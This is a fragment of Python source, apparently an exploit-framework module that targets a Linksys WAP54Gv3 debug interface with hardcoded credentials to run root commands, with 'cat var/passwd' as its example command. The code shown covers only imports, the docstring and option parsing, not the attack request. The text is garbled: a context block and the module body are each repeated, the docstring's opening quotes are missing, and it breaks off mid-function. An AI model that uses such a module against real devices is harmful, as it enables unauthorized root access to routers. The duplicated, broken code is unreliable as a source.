# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)


import core.Exploit
import core.io
import requests
import re
import interface.utils
from interface.messages import print_error, print_success, print_help, print_info
License: GNU GPL v3
Created: 23.07.2016
Description: Debug interface with hardcoded credentials allows to run commands with root privileges
Based on: http://seclists.org/bugtraq/2010/Jun/93

Options:
    Name        Description

    host        Target host address
    port        Target port
    command     Command to execute e.g. cat var/passwd
    """
    command = ""

    def __init__(self):
        self.command = "pwd"
        core.Exploit.RextExploit.__init__(self)

    def do_set(self, e):
        args = e.split(' ')
        try:
            if args[0] == "host":
                if interface.utils.validate_ipv4(args[1]):
                    self.host = args[1]
                else:
                    print_error("please provide valid IPv4 address")
            elif args[0] == "port":
                if str.isdigit(args[1]):
                    self.port = args[1]
                else:

# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)


# Path: modules/exploits/linksys/wap54gv3_exec.py
import core.Exploit
import core.io
import requests
import re
import interface.utils
from interface.messages import print_error, print_success, print_help, print_info

License: GNU GPL v3
Created: 23.07.2016
Description: Debug interface with hardcoded credentials allows to run commands with root privileges
Based on: http://seclists.org/bugtraq/2010/Jun/93

Options:
    Name        Description

    host        Target host address
    port        Target port
    command     Command to execute e.g. cat var/passwd
    """
    command = ""

    def __init__(self):
        self.command = "pwd"
        core.Exploit.RextExploit.__init__(self)

    def do_set(self, e):
        args = e.split(' ')
        try:
            if args[0] == "host":
                if interface.utils.validate_ipv4(args[1]):
                    self.host = args[1]
                else:
                    print_error("please provide valid IPv4 address")
            elif args[0] == "port":
                if str.isdigit(args[1]):
                    self.port = args[1]
                else:

                    print_error("port value must be integer")